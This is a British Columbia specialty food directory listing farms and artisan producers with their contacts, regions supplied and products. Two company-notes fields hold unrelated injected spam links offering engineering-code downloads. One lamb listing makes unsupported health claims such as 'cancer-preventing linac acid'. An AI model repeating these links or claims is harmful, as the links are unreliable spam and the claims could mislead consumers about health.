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BRITISH COLUMBIA  
SPECIALTY FOOD DIRECTORY



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# Company results for 'All Products' under 'All Regions'

Amara Farm - 250 702 5657

**Contact:** Arzeena Hamir

**Toll Free:** Unavailable

**Phone:** 250 702 5657

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [arzeenahamir@shaw.ca](mailto:arzeenahamir@shaw.ca)

**Website:** Unavailable

**Address:**

2641 Kirby Rd

Courtenay, BC

V9J 1T3

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

<https://www.sidtop.com/>BPVC 2021 download</a><br>

**Products Available:**

Blueberries - Summer

Blueberries, Duke, Bluecrop & Rekha. Available Seasonally.

Garlic, Susan Delafield - Fall, Winter,

Available Seasonally

Black Currant - Fall, Summer

Available Seasonally

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## Artisan Edibles Fine Foods Co. - 250-248-0670

**Contact:** Maureen Drew

**Toll Free:** Unavailable

**Phone:** 250-248-0670

**Cell:** Unavailable

**Fax:** 250-248-0670

**Email:** [mdrew@artisanedibles.com](mailto:mdrew@artisanedibles.com)

**Website:** [www.artisanedibles.com](http://www.artisanedibles.com)

**Address:**

895 Dickinson Way

Parksville, BC

V9P 2H2

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

It's fitting that a company dedicated to the culinary arts was born at the Filberg Festival, an annual celebration of artists, artisans and great food in the Comox Valley on Vancouver Island. The creative sparks for Artisan Edibles flew when Judy McArthur and Maureen Drew discovered their shared passions for gourmet food, design and small business at Filberg. Within six months, they formed a partnership and developed a business plan to introduce their own commercial product line under the Artisan Edibles label.

**Products Available:**

Champagne Rose Petal Jelly - Fall, Spring, Summer

Wild rose petals are hand picked on Vancouver Island in the late spring and infused with champagne to make the rose petal juice. The jelly is prepared in small batches. The colour varies from pale pink to crimson red depending on the colour of the rose petals. When you open the jar, you will smell the fragrance of roses, yet the taste is complex like champagne. Beautifully packaged and labelled. Jars and lids are imported from Italy. Great eating! Great gift! Seasonal and limited in quantity. 200 ml jars are available

Wild Mirabelle Plum Jelly - Fall,

Wild Mirabelle plums are handpicked from a local grove on Vancouver Island in late August and juiced. The jelly is prepared in small batches. These plums are one of the most exotic stone fruits, producing a tart/sweet jelly with a hint of almond. Beautifully packaged and labelled. Jars and lids are imported from Italy. Great eating! Great gift! Seasonal and limited in quantity. 200 ml jars are available.

Meyer Lemon Chutney - Year Round

Meyer Lemon Chutney is both tart and sweet, lingering with a wonderful aftertaste of anisette. An additional complexity develops as the chutney matures in the jar. Superb with salmon, halibut, crab cakes, any cold roasted meats or a favourite curry dish. Everyone we serve it to asks for more. Beautifully packaged and labelled. Jars and lids are imported from Italy. Great eating! Great gift! 300 ml jars available.

Antipasto - Year Round

Our boldly flavoured antipasto is rich in texture with a hint of the Mediterranean. Custom chopped fresh vegetables, Italian vinegars and oils, grilled peppers and artichokes and wild albacore tuna are some of the ingredients that create a taste experience to entice even the most discerning palate. Some eat it straight from the jar! Beautifully packaged and labelled. Jars and lids are from Italy. Great eating! Great gift! 540 ml and 300 ml jars are available.



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### Quince Mustard - Spring,

A rare find. This is a heritage recipe originating in Italy. Quinces are handpicked on Vancouver Island, and the Quince Mustard is preserved in small batches. The mustard has a distinct taste of quince and is delicious with veal, chicken, pork, Cajun halbut or a grilled cheese panini sandwich. Beautifully packaged and labelled. Jars and lids are from Italy. Great eating! Great gift! Seasonal and limited in quantity. 200 ml jars are available.

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## Auntie Bev Foods - 604-931-6994

**Contact:** Beverely Piprah

**Toll Free:** Unavailable

**Phone:** 604-931-6994

**Cell:** Unavailable

**Fax:** 604-931-6164

**Email:** [mailbag@auntiebevfoods.com](mailto:mailbag@auntiebevfoods.com)

**Website:** [www.auntiebevfoods.com](http://www.auntiebevfoods.com)

**Address:**

312 Sorrento Place

Coquitlam, BC

V3K 6P4

**Regions Supplied:**

- North Coast
- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

Carribean-flavoured products using all natural ingredients.

**Products Available:**

**Auntie Bev Jerk Marinade/Sauce - Year Round**

This spicy and zesty marinade/sauce has that wonderful Caribbean Jerk flavor that can only be found in Jamaica. Auntie Bevs Jerk BBQ Marinade & Sauce is an excellent flavouring for barbequing, grilling and roasting chicken, pork, seafood, burger, steaks, stews, soups, gravies, oven roast and so much more! You can make traditional style jerk chicken and jerk pork for an authentic taste of Jamaica! Add Auntie Bevs Jerk BBQ Marinade & Sauce to your veggie dip for a fun, zesty taste! Some restaurants in Vancouver have jerk chicken on their menus with marinade supplied by us. A not-too-hot, medium spice. It comes in a 300ml (10 oz); 12 in a case.

**Auntie Bev Hot Table Sauce - Year Round**

Auntie Bev's NEW Hot Sauce is a HOT! spicy all purpose table sauce made from real Jamaican Scotch bonnet peppers. It has a distinctive Jamaican flavor as well as the "Heat" you look for in a HOT sauce. Use it at the table and also in the kitchen to kick up the flavour of soups, dips and more! It comes in a convenient 150ml (5 oz) bottle. 12 in a case.

**Auntie Bev All Purpose Seasoning - Year Round**

No description available

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## Aunty Penny's Gourmet Specialties - 250-751-1081

**Contact:** Penny Gordon

**Toll Free:** Unavailable

**Phone:** 250-751-1081

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [auntypenny@shaw.ca](mailto:auntypenny@shaw.ca)

**Website:** Unavailable

### **Address:**

841 Grouse Place

Nanaimo, BC

V9T 5A4

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

We are able to develop and produce other products upon request. We enjoy custom designing jellies, relishes and chutneys and have developed many unusual recipes, including wine and beer jellies and relishes. We are not only a producer of Canadian Association of Specialty Food's Award-winning antipasto and jellies but also enjoy developing recipes and co-packing for others. Confidentiality is assured.

### **Products Available:**

#### Aunty Penny's Antipasto - Year Round

Started as a home business 20 years ago, now processed under my personal supervision at St. Jean's Cannery in Nanaimo. This product is made in three flavours - Original (with tuna), Vegetarian (with a garden-fresh taste) and Hot & Spicy (also with tuna, not barn-burning hot, but hot enough!). We pressure cook the antipasto for longer shelf life and safety for our clients. Available in 125 ml and 250 ml jars; the Original is also available in 750 ml jars. Upon request, all three flavours can be provided in 4 kg or 10 kg pails.

#### Aunty Penny's Peach 'n Pepper Picante Sauce - Year Round

Peach-flavoured pepper jelly which is delicious served on cream cheese and crackers, as a fruit dip or as a glaze for meats. Beautifully packaged, it is available in 125 ml and 250 ml jars, or larger sizes upon request.

#### Aunty Penny's Tomato Ginger Chutney - Year Round

A very spicy blend of tomatoes, onions, ginger and spices, this is a fairly hot condiment which complements many Indian curries and vegetable dishes. Attractively packaged in 190 ml jars or larger sizes upon request.

#### Aunty Penny's Beet Chutney - Year Round

An unusual and unique way of serving beets, blended with onions, dates, oranges and wonderful spices, you'll want to eat it straight from the jar! Available in 190 ml jars or larger sizes upon request.

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## Avalon Dairy Limited - 604-434-2434

**Contact:** Unavailable

**Toll Free:** Unavailable

**Phone:** 604-434-2434

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** [www.avalondairy.com](http://www.avalondairy.com)

### **Address:**

5805 Wales Street

Vancouver, BC

V5R 3N5

**Regions Supplied:** All of BC

### **Company Notes:**

A BC family-owned and operated dairy, we are 100 years old, established in 1906. We produce milk in an old-fashioned glass milk bottle, making the milk last longer and taste fresher. We are the home of BC's first certified organic milk. We welcome everyone to come and visit our heritage site and retail outlet.

### **Products Available:**

#### Organic Milk - Year Round

Our organic milk comes in a 1-litre glass bottle, as well as in a 2-litre plastic jug, 1-litre carton, (1/2 litre and 250 ml) for our creams. Our organic milk products consist of skim, 1%, 2%, homo, chocolate milk, cereal cream and whipping cream. Coming soon to Avalon is organic milk in a 4-litre plastic jug.

#### Organic Egg Nog - Winter,

Come and try our organic egg nog in a 1-litre carton. It is available from November to the beginning of January. Three out of four Santas on City TV stated that our organic egg nog was the best they ever tasted!

#### Organic Sour Cream - Year Round

Our organic sour cream is available in 500 ml and 250 ml sizes. It is a nice, thick product; you really need to shake the spoon to get it off. Great for any time of year.

#### Organic Yogurt - Year Round

Our organic yogurt is available in a 500 g container and is a tasty, 2%, plain yogurt. Our 175 g containers are filled with great tastes of strawberry, peach, blueberry or raspberry.

#### Organic Cheese - Year Round

Our organic cheese is available in random cuts, 5 lb blocks and in larger sizes; mild, medium, and aged. We allow our cheese to age to perfection, and each flavor has the perfect bite!

#### Organic Salted and Unsalted Butter - Year Round

Comes in 1 lb and 250 g blocks. It is one of our many products that is sure to be very creamy. There is no ant-caking agent in our butter.

#### Organic Eggs - Year Round

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Our organic eggs come from chickens that have the ability to graze and live on land that is free of all residues, synthetic fertilizers, and pesticides. Our eggs come in 4 different sizes: small, medium, large, extra large. Remember: the smaller the egg, the fresher it is and the tastier.

#### Organic Ice Cream - Year Round

Our organic ice cream is the wonderful taste of vanilla, and it is available in a 1 litre container.

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## Basil Olive Oil Products Ltd. - 604-460-0087

**Contact:** Helen Koutalianos  
**Toll Free:** Unavailable  
**Phone:** 604-460-0087  
**Cell:** Unavailable  
**Fax:** 604-465-7594  
**Email:** [sales@basiloliveoil.com](mailto:sales@basiloliveoil.com)  
**Website:** [www.basiloliveoil.com](http://www.basiloliveoil.com)

**Address:**  
18939 120b Avenue  
Pitt Meadows, BC  
V3Y 1W3

**Regions Supplied:** All of BC

### Company Notes:

Single estate producer of Certified Organic Extra Virgin Olive Oil in the new harvest. We specialize in quality. Please visit [www.basiloliveoil.com](http://www.basiloliveoil.com) for all of our specialty Products.

We also offer:

USDA Certified Organic Golden Olive Anastasia Hand Made Extra Virgin Olive Oil Castile Soap. Gentle with no Additives, No Colours, No Fragrance.

Golden Olive Theodora Essential Rose Oil Moisturizer made with Certified Organic Extra Virgin Olive Oil. Simple Body care that works.

Golden Olive Vassiliki Kalamata Olive Tapenade ready to use, Quality Olive Tapenade 1 kg Jars x 6 per case available for the service Industry and also in retail sizes 140 G X 12 per case.

### Products Available:

#### Balsamic Vinegar - Year Round

Certified Organic Golden Olive Evangeline Corinthian Currant Raisin Balsamic Vinegar 6X2L Jugs for the service Industry. No colours, no surgard, no additives. Aromatic and Flavourful. Diabetic Friendly. Greece available in Retail Size 250 ml.

#### Olive Oil - Year Round

Certified Organic Golden Olive Eleni Extra Virgin Olive Oil. 6 X 2L jugs for the service industry. New Harvest under .05% acidity, Fresh Olive Oil Single Estate Producer, Greece. Available in retail sizes 500 ml and 250 ml.

#### Kalamata Olives - Year Round

Certified Organic Golden Olive Vassiliki Kalamata Olives, 5 Kg. Pail cured with Sea Salt Brine and Wine Vinegar, Small Producer Greece

#### Agrinion Olives (Brown) - Year Round

Certified Organic Golden Olive Vassiliki Agrinion Olives Jewel (Brown) Cured with Celery Lemons in Sea Salt Brine, 5kg pails. Small Artisian Producer Greece.

#### Agrinion Olives (Green) - Year Round

Certified Organic Golden Olive Vassiliki Agrinion Olives Blond (Green) cured with Celery & Lemons in Sea Salt Brine. 5 kg pails. Small Artisian Producer Greece

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Cracked Green Olives - Year Round

Certified Organic Golden Olive Vassiliki Cracked Green Olives cured with Anise and Lemons in Sea Salt Brine. 5 kg pails. Small Artisian Producer Greece.

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## Bayhill Farm and Nursery - 250-335-0126

**Contact:** Bob and Colleen Leary

**Toll Free:** Unavailable

**Phone:** 250-335-0126

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [rcleary@telus.net](mailto:rcleary@telus.net)

**Website:** Unavailable

**Address:**

Box 317

Union Bay, BC

V0R 3B0

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Small, family-run farm.

**Products Available:**

Variety of Herbs - Fall, Spring, Summer

Cilantro, dill, basil, oregano, parsley, and marjoram available.

Lettuce - Fall, Spring, Summer

Heirloom varieties available.

Leeks - Fall, Summer

No description available

Acorn Squash - Fall,

No description available



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## BC Hot House Foods Inc. - 604-507-6215

**Contact:** Devon Kennedy  
**Toll Free:** Unavailable  
**Phone:** 604-507-6215  
**Cell:** Unavailable  
**Fax:** 604-576-5498  
**Email:** [devonk@bchothouse.com](mailto:devonk@bchothouse.com)  
**Website:** [www.bchothouse.com](http://www.bchothouse.com)

**Address:**  
5355 152nd Street  
Surrey, BC  
V3S 5A5

**Regions Supplied:** All of BC

### **Company Notes:**

Taste Buddies Miniature Vegetables - these products are cool in appearance and make unique side dishes and snacks. They're easy to use and have many applications. Most of all, they are fun to eat!

### **Products Available:**

#### Campani Tomatoes on the Vine - Year Round

Vibrant red, cocktail-sized tomatoes. They are hydroponically grown in greenhouses and are about 2" in diameter. These tomatoes offer vine-ripened, fresh flavour and are sold in clusters on the vine to ensure peak freshness and flavour.

#### Roma Tomatoes on the Vine - Year Round

Long, almost egg-shaped tomatoes with firm, red, meaty flesh, very few seeds and skin that is easy to peel. High acid level makes them perfect for sauces, soups and salsas. Roma tomatoes on the vine are hydroponically grown in a greenhouse.

#### Sweetooth Peppers - Year Round

Long cone-shaped peppers with shiny, crunchy skins that cover thick, juicy walls. These peppers are sweeter than Sweet Bell peppers, and their tiny seed caps make them easy to cut into rings, enhancing presentation.

#### Long English Cucumbers - Year Round

Seedless with a thin, deep-green, unwaxed skin that is never bitter. The skin adds crunch to the refreshing flavour. Long English Cucumbers are great for salads, sandwiches, salsas, dressings, dips, sauces, soups, garnishes and cold vegetable platters.

#### Mini-Cucumbers - Year Round

These are the mini versions of the Long English Cucumbers that are smaller in size and diameter. The texture is a little crunchier, and the deliciously sweet flavour makes them excellent to snack on by themselves or in salads, cold vegetable platters or as garnishes. Kids love them!

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## BC St. Croix Farms - 604-823-4833

**Contact:** Brian Chwiendacz

**Toll Free:** Unavailable

**Phone:** 604-823-4833

**Cell:** Unavailable

**Fax:** 604-823-4822

**Email:** [bestcroix @telus.net](mailto:bestcroix@telus.net)

**Website:** Unavailable

**Address:**

4175 Eckert St.

Chilliwack, BC

V2R 5J6

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

"Leanest, mildest and best tasting lamb money can buy." Our farm produces and raises the safest, highest quality, young hair sheep and meat lambs.

St. Croix meat is mild tasting with superior flavour, tender and naturally lean due to the genetics of the breed. Also due to genetics, St. Croix sheep are the only breed in the world that has never tested positive for scrapie.

**Products Available:**

Lamb - Year Round

Lowest in cholesterol and highest in cancer-preventing linac acid. We do NOT use any growth enhancers or medicated feeds, and we do NOT use any inoculants of any kind. Our market meat lambs have never been touched with a needle.

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## BEERBQ SAUCE - 604-868-6201

**Contact:** Paul Lucas Paterson

**Toll Free:** Unavailable

**Phone:** 604-868-6201

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@c-d-g.com](mailto:info@c-d-g.com)

**Website:** [www.BEERBQ.ca](http://www.BEERBQ.ca)

**Address:**

7366 Montecito Drive

Burnaby, BC

V5A 1R6

**Regions Supplied:** All of BC

**Company Notes:**

BEER-B-Q sauces are made from all natural ingredients.

BEER-B-Q sauces are made with Vancouver Island's Piper's Pale Ale.

BEER-B-Q sauces are made with Peace River Dark Clover Honey.

[Latest ASME Codes/a](https://www.edocmarket.com/Latest ASME Codes/a)

**Products Available:**

**Original BEER-B-Q Sauce - Year Round**

BEER-B-Q Sauce is a sweet and spicy, all natural, all-in-one wonder sauce. Excellent with Chicken, Pork, Beef, Lamb, Seafood, Tofu, Eggs, Legumes and Veggies. Marinate, baste, barbeque, bake, sautÃ©, or add zip to sauces, dips and dressings.

**Super Spicy BEER-B-Q Sauce - Year Round**

BEER-B-Q Sauce is a sweet and spicy, all natural, all-in-one wonder sauce. Excellent with Chicken, Pork, Beef, Lamb, Seafood, Tofu, Eggs, Legumes and Veggies. Marinate, baste, barbeque, bake, sautÃ©, or add zip to sauces, dips and dressings.

**Mild BEER-B-Q Sauce - Year Round**

BEER-B-Q Sauce is a sweet and spicy, all natural, all-in-one wonder sauce. Excellent with Chicken, Pork, Beef, Lamb, Seafood, Tofu, Eggs, Legumes and Veggies. Marinate, baste, barbeque, bake, sautÃ©, or add zip to sauces, dips and dressings.

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## Best Gourmet Coffee Ltd. - 604-465-5112

**Contact:** Jill Palahicky

**Toll Free:** Unavailable

**Phone:** 604-465-5112

**Cell:** Unavailable

**Fax:** 604-465-5227

**Email:** [bestgourmet\\_coffee@hotmail.com](mailto:bestgourmet_coffee@hotmail.com)

**Website:** [www.bestgourmet.com](http://www.bestgourmet.com)

### **Address:**

20091 113B Ave

Maple Ridge, BC

V2X 0Z2

### **Regions Supplied:**

- North Coast
- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### **Company Notes:**

Our company offers various roasts, from light to dark, as well as flavoured coffee. We have various-sized containers in both ground or beans. Our company also offers a full line of organic, free-trade coffee that is certified by NAPPO, certificate number 169060. All of our coffee is dry roasted, which does not add extra weight to the coffee, so that the customer receives the best value. Our coffee is freshly roasted with every order. We use only the best arabica beans, which ensures the best taste possible.

### **Products Available:**

Organic Coffee - Year Round

We use dry roasting methods and fair-trade coffee. We use only the best quality beans, roasted fresh daily. We offer lines of flavoured, organic, ground and whole bean coffee.

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## Big Bear Ranch - 250 620 3353

**Contact:** Rainer & Gigi Krumsiek

**Toll Free:** Unavailable

**Phone:** 250 620 3353

**Cell:** Unavailable

**Fax:** 250 620 3393

**Email:** [info@bigbearranch.com](mailto:info@bigbearranch.com)

**Website:** [www.bigbearranch.com](http://www.bigbearranch.com)

**Address:**

Box 128

Horsefly, BC

V0L 1L0

**Regions Supplied:**

- Cariboo

- Vancouver/Mainland

**Company Notes:**

Humane animal handling and management intensive grazing.

**Products Available:**

Organic Beef - Year Round

PACS #16-250, certified organic, grass-finished beef from Galloway/Angus cross cows. Processed at Rodear Meats.

Organic Pork - Year Round

PACS #16- 250, certified organic, pasture-raised pork from Tamworth/Duroc cross pigs. Processed at Rodear Meats. These pigs live in big pastures and are supplementally fed certified organic peas. Pigs can be pigs on Big Bear Ranch!

Organic Turkey - Year Round

PACS #16-250, certified organic, Broad Breasted Bronze Turkeys who grow up free roaming. Order by February 28th for your turkey!

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## Bigfoot Organic Herb Farm - 250-537-4466

**Contact:** Pat or Ken Barnes

**Toll Free:** Unavailable

**Phone:** 250-537-4466

**Cell:** Unavailable

**Fax:** 250-537-4466

**Email:** [patorken@telus.net](mailto:patorken@telus.net)

**Website:** Unavailable

### Address:

104 Eagle Ridge Drive  
Salt Spring Island, BC  
V8K 2K9

### Regions Supplied:

- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### Company Notes:

Having learned from my Grandmother's chef over 40 years ago, I make sure that my products are the result of experience. Each one is made in small batches using our own or locally-grown ingredients. Salsas mild to wasabi. 60 flavours of jams, jellies, chutneys, flavoured honeys, mustards and vinegars.

### Products Available:

#### Jams & Jellies - Year Round

Apricot Jam, Blackberry Jam, Blackberry Jelly, Blackberry Mint Jelly, Blueberry Jam, Carrot Cake Jam, Chamomile Orange Jelly, Cherry Jam, Crabapple Butter, Crabapple Jelly, Cucumber Lime Jelly, Black Currant Liqueur Jelly, Red Currant Liqueur Jelly, Red Currant Jam, Red Currant Jelly, Red Clover Jam, Red Clover Jelly, Grape Jelly, Roasted Garlic Jelly, Roasted Garlic Mint Jelly, Roasted Garlic Ginger, Roasted Garlic Jalapeno Jelly, Habenero Ice Wine Jelly, Lemon Balm & Verbena Jelly, Lime & Kiwi Jelly, Loganberry Jam, Paradise Papaya Pear Jam, Peach Ginger Jam, Spiced Peach Jelly, Peach Jam, Pear Apricot Jam, Pear Butter, Pear Ginger Jam, Bell Pepper & Cranberry Jam, Cayenne Pepper Jelly, Jalapeno Jelly, Roasted Red Pepper Jelly, Sweet Red Pepper Jelly, Plum Jam, Plum Pineapple Jam, Red Raspberry Jam, Raspberry Liqueur Pear Jam, Raspberry Crabapple Jam, Rose Hip Jelly, Rosemary Jelly, Rose Petal Jam, Sage & Onion Jelly, Strawberry Jam, Strawberry Rhubarb Jam, Wasabi Chardonnay Jelly, White Wine Jelly, and Red Wine Jelly.

#### Canned Goods - Year Round

Stewed Tomatoes, Wasabi Spiced Cherries

#### Sauces - Year Round

Wasabi Cucumber Sauce, Wasabi Cranberry Sauce, Wasabi Wooster and Horseradish Sauce

#### Pickles - Year Round

Wasabi Ginger, Ginger Hot Pepper (no salt)

#### Relish - Year Round

Wasabi Horseradish Relish

#### Herbs - Year Round

Parsley, marjoram, oregano, dried blended mixed herbs. We save seeds from our herbs and use them. We have two 10 x 20 unheated greenhouses with many rare and unusual potted herbs for sale. No herbicides or pesticides have ever been used on this farm. All herbs have been grown, picked, dried and packaged right here on our Salt Spring farm.

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#### Mustards - Year Round

Honey Roasted Garlic Mustard, Basil, Hot Mexican, Wasabi Asian Mustards

#### Honey - Year Round

Mint Honey, Blackberry Honey, Ginger Honey, Rose Honey and Lavendar Honey using mint and lavender from my herb gardens and wild blackberries from the farm.

#### Marmalades - Year Round

Seville Orange Marmalade, Ruby Orange Marmalade using Moro oranges

#### Vinegars - Year Round

Salad & Flavoured Vinegars, Raspberry Jam Vinegar and Raspberry Vinegar. Aged until mellow, like a good balsmic. Need less pectin and sugar.

#### Salsas - Year Round

Our recipes all contain roasted garlic. Mild, medium, hot and hotter, and wasabi. We grow and use our own wasabi. Tomato-based salsas use jalapeno peppers and habeneros, all cooked and processed under pressure but still tasty - mild, medium and hot.

#### Chutneys - Year Round

Cherry, Mango, Pear, Mexican Pear, Plum, Basil Lovers, Halapeno Berry, Cranberry, Hot Cranberry, Blackberry, and Blackberry Mint.

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## Blackberry Hill Farm - 604 258 PIES

**Contact:** Chris Hoekstra

**Toll Free:** Unavailable

**Phone:** 604 258 PIES

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [choeks@telus.net](mailto:choeks@telus.net)

**Website:** Unavailable

### **Address:**

8815 B Selkirk St.

Vancouver, BC

V6P 4J6

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

### **Company Notes:**

Blackberry Hill Farm is a family owned business that makes our products by hand, the old fashioned way. Our gourmet pies, Montreal Style Bagels, assorted bakery items and our specialty preserves, jellies and syrups are the best in town.

### **Products Available:**

#### Gourmet Pies - Year Round

Available freshly baked, take and bake style or frozen. Made to order with any variety of berries and fruit. Also available: pumpkin pies, meringue and cream pies. Sizes available 4", 9" or 10" deep. Made by hand, with local ingredients used; purchased from local farmers' markets. Can use organic produce upon request. Pies are non-trans fat. Packaging options available. Normally 24 hours notice required for order, depending on size.

#### Montreal Style Bagels - Year Round

Made in small batches, these are the real deal. Dough is proofed, frozen, boiled and then baked, which creates the true Montreal bagel, flavourful and chewy. Many flavours are available: original, multigrain, whole wheat, sour dough/rye, cheese, jalapeno, etc. Bagels are available freshly baked or frozen. If supplied frozen, they need to be baked for about 35 minutes, providing retailer ability to sell them freshly baked. Spelt bagels are also available.

#### Assorted Squares, Cookies and Cakes - Year Round

These gourmet treats are made by hand in small batches. Recipes created by a pastry chef, the CEO of the company. Quality and taste are superior - you can taste the difference.

#### Specialty Preserves and Jellies - Year Round

Tempting flavours such as Tequila Pepper Jelly, Hot Cranberry Jelly and Onion Marmalade give inspiration to home cooks and chefs alike. These unique preserves come in sizes from 250 ml and up. Looking for a specific flavour? We have over 30 varieties.

#### Blackberry Hill Specialty Syrups - Year Round

Unique flavours and come in several varieties.



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## Blackwell Dairy Farm Inc - 250-573-4747

**Contact:** Joy Blackwell

**Toll Free:** Unavailable

**Phone:** 250-573-4747

**Cell:** Unavailable

**Fax:** 250-573-4963

**Email:** [dairy01@telus.net](mailto:dairy01@telus.net)

**Website:** [www.blackwelldairy.com](http://www.blackwelldairy.com)

### **Address:**

7000 Blackwell Road

Kamloops, BC

V2C 6V7

### **Regions Supplied:**

- Thompson/Okanagan

- Kootenay

### **Company Notes:**

Kamloops is the home to one of B.C.'s finest Dairies. We have been maintaining a tradition of excellence for over 100 years. Wow!

Blackwell produces, with the care and love of a family operation, a full line of fluid milk products, including sour cream & cheeses.

Besides the milk from our really happy cows, we also process our products from our good neighbors in North Thompson and Shuswap Okanagan.

Blackwell Dairy Products can be found in stores as far south as Keremeos, east to Revelstoke and every place in between.

### **Products Available:**

#### Cheese - Year Round

Our Artisan cheese is made the old fashioned way in small batches, mixed by hand with care and attention to detail. Taste the difference quality makes. Blackwell Mozzarella, Mild, Medium and Aged cheddar cheeses are available in 2.25kg blocks and about 240g random cut.

#### Sour Cream - Year Round

Our 14% sour cream is truly creamy and rich. Made with care in small batches, it is perfect for all your sour cream needs. It is available in 250 and 500 ml sizes for personal use, as well as 4 litres for commercial use.

#### Fluid Milk - Year Round

Products available 3.25%, 2% Milk, 1% Milk, Skim, 10% Table Cream, 18% Table Cream, 35% Whipping Cream: In a variety of sizes As REAL and WHOLESOME as it gets... Our milk is processed fresh five days per week on location at the Blackwell plant in Barnhartvale, Kamloops. We carry a full line of dairy products in various sizes. All our containers are recyclable. Available in 3.25% Milk: Also Available: 3.25% Chocolate Milk Our very popular chocolate milk has been recommended by local dieticians as a sports recovery drink and is used by the TRU Wolfpack teams and various local soccer teams. 3.25% Buttermilk: 1L, 500ml Our buttermilk is made the old-fashioned way. Once you've tasted Blackwell's buttermilk, you won't want any other. Eggnog (Seasonal): 2L, 1L

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## Blue Harvest Farm - 250-245-8959

**Contact:** Jim Stachow

**Toll Free:** 877-660-6118

**Phone:** 250-245-8959

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@blueharvestfarm.com](mailto:info@blueharvestfarm.com)

**Website:** [www.blueharvestfarm.com](http://www.blueharvestfarm.com)

### **Address:**

13387 Code Road

Ladysmith, BC

V9G 1H7

### **Regions Supplied:**

- Vancouver Island & Gulf Islands

### **Company Notes:**

We produce certified organic blueberries, including the Rubel and Rancocas varieties, which are highest in anti-oxidant. Ours is a small family-owned and operated farm dedicated to producing pure, healthy and delicious food.

### **Products Available:**

Certified Organic Blueberries - Summer

Our family farm grows eight luscious varieties of certified organic blueberries including the two varieties rated highest in anti-oxidant content - Rubel and Rancocas. These two varieties are smaller in size whereas our other six varieties - Northland, Bluecrop, Duke, Toro, Nelson and Patriot - bear mid-size to very large berries. Our fruit is hand picked and hand cleaned, then packed in 5 lb Zip-loc freezer bags, ready to eat or freeze. Most of our crop is sold fresh from early July until mid-August. The rest is frozen. Freshness guarantee: all fresh fruit is put in the hands of our customers on the day it is picked. Frozen berries are available while quantities last. Our berries are certified organic by IOPA, and we are producer #1309.

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## Botanical Specialties - 604-824-2833

**Contact:** Herbert Strobl

**Toll Free:** Unavailable

**Phone:** 604-824-2833

**Cell:** Unavailable

**Fax:** 604-824-2833

**Email:** [hbstrobl\\_botanicals@telus.net](mailto:hbstrobl_botanicals@telus.net)

**Website:** Unavailable

**Address:**

P.O. Box 3003

Cultus Lake, BC

V2R 5H6

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Botanical Specialties is a certified organic herb company in near Cultus Lake, BC. Our main activity is dried and fresh herbs, liquid extracts and essential oils. The products are in the aromatic, medicinal and culinary sector including flavors and spices. Almost all steps are carried out on site and we are fully committed to the highest possible quality.

**Products Available:**

Dried Organic Herbs - Year Round

Mainly aromatic, medicinal and culinary, including Lavender, Mints, Sage, Thyme, Oregano, Parsley, Angelica, Lovage, Dong Quai, Borage, etc.

Certified Organic Essential Oils, Flavors and Fragrances - Year Round

We operate a certified-organic essential oil distillery and produce about 30 different products including Lavender, Lovage, Mint, Douglas Fir, Red Cedar, Grand Fir, etc.

Certified Organic Vanilla Bean Liquid Extract - Year Round

We produce a liquid extract from certified-organic vanilla beans on site.

Certified Organic Herbs - Fall, Spring, Summer

Mainly aromatic, medicinal and culinary including Lavender, Mints, Sage, Thyme, Oregano, Parsley, Angelica, Lovage, Dong Quai, Borage, etc. Available seasonally.

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## Breezy Bay Farm Herbs - 250-539-5200

**Contact:** Flora House

**Toll Free:** Unavailable

**Phone:** 250-539-5200

**Cell:** Unavailable

**Fax:** 250-539-5201

**Email:** [saturnaherbs@saturnacan.net](mailto:saturnaherbs@saturnacan.net)

**Website:** [www.saturnaherbs.com](http://www.saturnaherbs.com)

**Address:**

131 Payne Road

Saturna Island, BC

V0N 2Y0

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Certified organic dried and fresh herbs available.

**Products Available:**

Dried Herbs - Year Round

Basil, Greek Oregano, Rosemary, Sage, Thyme, Tarragon, Lavender dried in small batches as needed - results in less storage time. Available in regular consumer size packages of 20 g and in special order sizes, i.e., bulk purchases year round.

Fresh Herbs - Fall, Spring, Summer

Fresh cut - Basil, Rosemary, Thyme, Sage, Tarragon, French Sorrel, Savory, Mint and Dill. Packaged in plastic sleeves containing 2 oz of product, 12 sleeves per case in a display bucket with water, 12 sleeves per case. Also available for special bulk orders cut to users' needs. Available seasonally.

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## Canadian Kelp Resources Ltd. - 250-728-3297

**Contact:** Louis Druehl

**Toll Free:** Unavailable

**Phone:** 250-728-3297

**Cell:** Unavailable

**Fax:** 250-728-3040

**Email:** [ldruehl@island.net](mailto:ldruehl@island.net)

**Website:** [www.canadiankelp.com](http://www.canadiankelp.com)

**Address:**

Port Desire

Bamfield, BC

V0R 1B0

**Regions Supplied:**

- North Coast

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Canadian Kelp Resources is a family-owned business, providing quality sea vegetables for 25 years. We welcome custom orders and will assist clients to identify new products.

**Products Available:**

Barkley Sound Macro Kelp - Year Round

Dried sheet kelp available in bulk or 30 g packages.

Barkley Sound Kombu - Year Round

Dried sheet kelp available in bulk or 50 g packages

Barkley Sound Bull Kelp - Year Round

Dried sheet kelp available in bulk or 40 g packages.

Roasted Kelp Flakes - Year Round

Roasted, dried, stone-ground kelp available in bulk or 35 g packages.

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## Canyon City Farm - 250-428-7835

**Contact:** Randy & Annette Moore

**Toll Free:** Unavailable

**Phone:** 250-428-7835

**Cell:** Unavailable

**Fax:** 250-428-7835

